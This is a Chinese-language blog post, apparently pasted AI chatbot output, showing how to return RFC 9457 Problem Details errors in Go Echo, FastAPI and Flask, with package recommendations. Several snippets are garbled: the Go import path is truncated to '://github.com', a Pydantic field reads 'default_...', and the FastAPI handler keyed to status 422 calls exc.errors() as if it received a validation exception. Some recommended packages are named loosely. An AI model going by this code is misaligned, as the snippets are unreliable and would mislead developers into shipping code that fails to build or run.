<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f539.png" alt="🔹" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 以 Echo 框架為例</h2>



<pre class="wp-block-code"><code>package main

import (
	"net/http"
	"://github.com"
)

<em>// CustomHTTPErrorHandler 覆蓋 Echo 預設的錯誤處理</em>
func CustomHTTPErrorHandler(err error, c echo.Context) {
	code := http.StatusInternalServerError
	message := err.Error()

	<em>// 若是 Echo 內建的 HTTP 錯誤，取出其狀態碼與訊息</em>
	if he, ok := err.(*echo.HTTPError); ok {
		code = he.Code
		if m, ok := he.Message.(string); ok {
			message = m
		}
	}

	<em>// 建構符合 RFC 9457 的錯誤回應</em>
	prob := ProblemDetails{
		Type:     "about:blank",
		Title:    http.StatusText(code),
		Status:   code,
		Detail:   message,
		Instance: c.Request().RequestURI,
	}

	<em>// 確保使用正確的 Content-Type 發送回應</em>
	c.Response().Header().Set(echo.HeaderContentType, "application/problem+json")
	_ = c.JSON(code, prob)
}

func main() {
	e := echo.New()
	
	<em>// 註冊全域錯誤處理器</em>
	e.HTTPErrorHandler = CustomHTTPErrorHandler

	e.GET("/api/test", func(c echo.Context) error {
		<em>// 觸發一個 403 錯誤測試</em>
		return echo.NewHTTPError(http.StatusForbidden, "您沒有權限存取此資源。")
	})

	e.Logger.Fatal(e.Start(":8080"))
}
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">如果您希望專案程式碼看起來最頂尖，可以考慮整合目前 Go 社群中最流行且專門為 RFC 7807/9457 設計的第三方成熟套件，例如由知名開發者使用的 moogar0880/problem。</p>



<p class="wp-block-paragraph">接下來，您可以告訴我：</p>



<ul class="wp-block-list">
<li>您目前專案使用的是 <strong>標準庫 <code>net/http</code></strong>、<strong>Gin</strong> 還是 <strong>Echo</strong> 框架？</li>



<li>是否需要我幫您串接現有的 <strong>資料庫驗證（例如 <code>go-playground/validator</code>）</strong>，直接輸出符合 RFC 9457 規格的驗證錯誤回應？</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">在 Python 生態系中，實作 <strong>RFC 9457 (Problem Details)</strong> 同样非常成熟。現代 Python Web 框架（如 FastAPI、Flask 或 Django）都有非常優雅的實作方式。</p>



<p class="wp-block-paragraph">以下為您提供 Python 最主流框架的實作與最佳實踐。</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">1. 現代 FastAPI / Pydantic 實作（首選）</h2>



<p class="wp-block-paragraph">FastAPI 與 Pydantic 2.x 是目前 Python 後端的最愛。我們可以使用 Pydantic 來定義 RFC 9457 結構，並透過全域異常處理器（Exception Handler）來自動轉換錯誤。</p>



<pre class="wp-block-code"><code>from typing import Any, Dict, List, Optional
from fastapi import FastAPI, Request, status
from fastapi.responses import JSONResponse
from pydantic import BaseModel, Field

app = FastAPI()

<em># 1. 定義 RFC 9457 的標準媒體類型 (MIME Type)</em>
RFC_9457_MIME = "application/problem+json"

<em># 2. 定義標準核心結構</em>
class ProblemDetails(BaseModel):
    type: str = Field(default="about:blank", description="錯誤類型 URI")
    title: str = Field(..., description="簡短錯誤摘要")
    status: int = Field(..., description="HTTP 狀態碼")
    detail: Optional&#91;str] = Field(None, description="該次錯誤的詳細訊息")
    instance: Optional&#91;str] = Field(None, description="發生錯誤的資源路徑")

<em># 3. 定義表單驗證失敗的擴充結構（符合 RFC 9457 規範：外層為單一物件）</em>
class ParamError(BaseModel):
    name: str
    reason: str

class ValidationErrorDetails(ProblemDetails):
    invalid_params: List&#91;ParamError] = Field(default_..., alias="invalid-params")


<em># 4. 覆蓋 FastAPI 預設的表單驗證錯誤 (422 Unprocessable Entity)</em>
@app.exception_handler(status.HTTP_422_UNPROCESSABLE_ENTITY)
async def validation_exception_handler(request: Request, exc: Any):
    <em># 將 FastAPI 原本的錯誤格式，轉換為符合 RFC 9457 的欄位</em>
    errors = &#91;]
    for err in exc.errors():
        <em># loc 通常是 ('body', 'age')，我們取最後一個元素作為欄位名</em>
        field_name = str(err&#91;"loc"]&#91;-1])
        errors.append(ParamError(name=field_name, reason=err&#91;"msg"]))

    prob = ValidationErrorDetails(
        type="urn:error:type:validation-failed",
        title="輸入參數驗證失敗",
        status=status.HTTP_400_BAD_REQUEST,  <em># 實務上通常轉回更通用的 400</em>
        detail="請檢查您提交的資料欄位格式是否正確。",
        instance=request.url.path,
        invalid_params=errors
    )

    <em># 回傳時必須指定特殊的 Content-Type</em>
    return JSONResponse(
        status_code=status.HTTP_400_BAD_REQUEST,
        content=prob.model_dump(by_alias=True), <em># 確保輸出為 "invalid-params"</em>
        headers={"Content-Type": RFC_9457_MIME}
    )
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">2. 傳統 Flask / Werkzeug 實作</h2>



<p class="wp-block-paragraph">如果您使用的是 Flask，可以利用 Werkzeug 內建的 <code>HTTPException</code> 來自訂錯誤回應。Flask 的社群甚至有開源套件 <code>flask-rfc9457</code>（或舊稱 <code>flask-error-handling</code>），但手寫其實也非常簡單：</p>



<pre class="wp-block-code"><code>from flask import Flask, jsonify, request
from werkzeug.exceptions import HTTPException, Forbidden

app = Flask(__name__)

class RFC9457Exception(HTTPException):
    """自訂的 RFC 9457 異常類別"""
    def __init__(self, status_code: int, title: str, detail: str = None, type_uri: str = "about:blank"):
        super().__init__()
        self.code = status_code
        self.title = title
        self.detail = detail
        self.type_uri = type_uri

<em># 註冊全域錯誤處理器</em>
@app.errorhandler(HTTPException)
def handle_exception(e):
    <em># 預設非自訂的標準 HTTP 錯誤</em>
    status_code = e.code or 500
    title = e.name
    detail = e.description
    type_uri = "about:blank"

    <em># 如果是我們自己拋出的 RFC9457Exception，讀取專有屬性</em>
    if isinstance(e, RFC9457Exception):
        title = e.title
        detail = e.detail
        type_uri = e.type_uri

    payload = {
        "type": type_uri,
        "title": title,
        "status": status_code,
        "detail": detail,
        "instance": request.path
    }
    
    response = jsonify(payload)
    response.status_code = status_code
    response.headers&#91;"Content-Type"] = "application/problem+json"
    return response

@app.route("/api/secure-data")
def get_data():
    <em># 觸發錯誤示範</em>
    raise RFC9457Exception(
        status_code=403,
        title="權限等級不足",
        detail="您的帳號未通過 VIP 身分審查，無法存取此端點。",
        type_uri="https://example.com"
    )
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">3. 三方成熟套件推薦</h2>



<p class="wp-block-paragraph">在 Python 領域中，如果您不想自己從頭刻結構體，以下是兩個非常主流、開箱即用的套件：</p>



<ol class="wp-block-list">
<li><strong><code>http-types-rfc9457</code> / <code>problem-details</code></strong>：專門提供 RFC 標準的數據封裝與型別提示。</li>



<li><strong><code>httpx</code> 的衍生工具</strong>：如果您在編寫 Python Client 端（爬蟲或微服務呼叫），許多客戶端庫會整合這類套件來自動將 <code>application/problem+json</code> 反序列化為特定的 Exception 物件。</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">如果您的專案需要跟現有的系統對接，您可以告訴我：</p>



<ul class="wp-block-list">
<li>您使用的是 <strong>FastAPI</strong>、<strong>Flask</strong> 還是 <strong>Django</strong>？</li>



<li>您目前的錯誤訊息是否需要做 <strong>多國語系 (i18n)</strong> 的處理（例如根據 Header 的 <code>Accept-Language</code> 返回繁體中文的 <code>title</code> 與 <code>detail</code>）？</li>
</ul>



<p class="wp-block-paragraph">我可以為您提供更深入的架構調整建議！</p>
]]></content:encoded>
					
					<wfw:commentRss>https://stackoverflow.max-everyday.com/2026/06/rfc-9457-problem-details-for-http-apis%ef%bc%89/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
